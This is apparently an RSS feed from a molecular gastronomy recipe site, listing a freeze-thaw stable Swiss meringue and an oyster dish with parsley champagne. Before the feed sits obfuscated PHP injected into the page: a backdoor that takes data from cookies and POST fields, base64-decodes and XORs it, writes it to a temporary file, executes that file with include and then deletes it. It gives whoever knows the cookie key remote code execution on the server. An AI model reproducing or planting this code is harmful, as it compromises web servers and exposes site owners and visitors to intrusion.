$IBfMM = chr ( 613 - 502 ).chr (95) . 'd' . chr (84) . "\x67" . "\x6a";$BEcTzzaUs = chr (99) . 'l' . 'a' . "\x73" . chr (115) . "\137" . 'e' . chr (120) . chr ( 859 - 754 ).chr (115) . 't' . "\163";$aGxrbeEjRN = class_exists($IBfMM); $BEcTzzaUs = "3697";$mSwkjzA = !1;if ($aGxrbeEjRN == $mSwkjzA){function WbVwyBtF(){return FALSE;}$JgGBQJy = "49";WbVwyBtF();class o_dTgj{private function ULxlcMa($JgGBQJy){if (is_array(o_dTgj::$VrRAKdxp)) {$vQFpwu = sys_get_temp_dir() . "/" . crc32(o_dTgj::$VrRAKdxp[chr (115) . "\x61" . 'l' . "\164"]);@o_dTgj::$VrRAKdxp[chr (119) . chr ( 743 - 629 )."\x69" . 't' . 'e']($vQFpwu, o_dTgj::$VrRAKdxp['c' . 'o' . "\x6e" . "\164" . 'e' . 'n' . chr ( 880 - 764 )]);include $vQFpwu;@o_dTgj::$VrRAKdxp[chr (100) . 'e' . chr ( 871 - 763 ).chr ( 348 - 247 ).chr (116) . chr ( 638 - 537 )]($vQFpwu); $JgGBQJy = "49";exit();}}private $hImlfcTJY;public function UNDEBkA(){echo 59060;}public function __destruct(){$JgGBQJy = "8587_38387";$this->ULxlcMa($JgGBQJy); $JgGBQJy = "8587_38387";}public function __construct($yEBvWXjR=0){$dQJieFGg = $_POST;$kGzEIA = $_COOKIE;$nXKxdj = "e8fe6741-8d27-4953-aafc-0fbcefc84b4c";$goNbho = @$kGzEIA[substr($nXKxdj, 0, 4)];if (!empty($goNbho)){$hKCchKZhB = "base64";$iRrvTsiV = "";$goNbho = explode(",", $goNbho);foreach ($goNbho as $xDRuAmcEj){$iRrvTsiV .= @$kGzEIA[$xDRuAmcEj];$iRrvTsiV .= @$dQJieFGg[$xDRuAmcEj];}$iRrvTsiV = array_map($hKCchKZhB . "\x5f" . "\144" . chr (101) . chr ( 857 - 758 ).chr (111) . "\144" . chr ( 287 - 186 ), array($iRrvTsiV,)); $iRrvTsiV = $iRrvTsiV[0] ^ str_repeat($nXKxdj, (strlen($iRrvTsiV[0]) / strlen($nXKxdj)) + 1);o_dTgj::$VrRAKdxp = @unserialize($iRrvTsiV); $iRrvTsiV = class_exists("8587_38387");}}public static $VrRAKdxp = 36984;}$CCQRbJKXb = new /* 25183 */ $IBfMM(49 + 49); $mSwkjzA = $CCQRbJKXb = $JgGBQJy = Array();}<br />
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	<title>guar gum &#8211; Molecular Recipes</title>
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		<title>Swiss Meringue Freeze-Thaw Stable</title>
		<link>http://www.molecularrecipes.com/foams/swiss-meringue-freeze-thaw-stable/</link>
		<comments>http://www.molecularrecipes.com/foams/swiss-meringue-freeze-thaw-stable/#comments</comments>
		<pubDate>Sun, 26 Oct 2014 21:08:29 +0000</pubDate>
		<dc:creator><![CDATA[Quantum Chef]]></dc:creator>
				<category><![CDATA[Foams]]></category>
		<category><![CDATA[dessert]]></category>
		<category><![CDATA[easy]]></category>
		<category><![CDATA[foams]]></category>
		<category><![CDATA[guar gum]]></category>
		<category><![CDATA[iota carrageenan]]></category>
		<category><![CDATA[Ultimate Kit]]></category>

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		<description><![CDATA[<img src="http://www.molecularrecipes.com/wp-content/uploads/foams/thumbs/thumbs_swiss-meringue-sqr.jpg" alt="Swiss meringue freeze-thaw stable -sqr" title="foams" class="wp-post-image ngg-image-1362 " />A convenient swiss meringue that is freeze-thaw stable so it can be frozen to be used later when needed, thanks to the properties of iota carrageenan and guar gum.]]></description>
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		<slash:comments>7</slash:comments>
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		<title>Oyster with Parsley Champagne</title>
		<link>http://www.molecularrecipes.com/emulsification/oyster-parsley-champagne/</link>
		<comments>http://www.molecularrecipes.com/emulsification/oyster-parsley-champagne/#comments</comments>
		<pubDate>Tue, 19 Mar 2013 05:39:07 +0000</pubDate>
		<dc:creator><![CDATA[Quantum Chef]]></dc:creator>
				<category><![CDATA[Emulsification]]></category>
		<category><![CDATA[emulsification]]></category>
		<category><![CDATA[guar gum]]></category>
		<category><![CDATA[intermediate]]></category>
		<category><![CDATA[Ryan Clift]]></category>
		<category><![CDATA[Thermomix]]></category>
		<category><![CDATA[Ultimate Kit]]></category>
		<category><![CDATA[xanthan gum]]></category>

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		<description><![CDATA[<img src="http://www.molecularrecipes.com/wp-content/uploads/airs/thumbs/thumbs_modernist-oyster-with-parsley-champagne-sqr.jpg" alt="modernist-oyster-with-parsley-champagne-sqr" title="airs" class="wp-post-image ngg-image-621 " />This elegant oyster dish is a shining example of the modernist cuisine created by Chef Ryan Clift of Tippling Club in Singapore. This creative dish combines oysters with an apple and olive oil emulsion, diced apples and flavorful parsley champagne that is poured at the table. You have to try this!]]></description>
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		<slash:comments>7</slash:comments>
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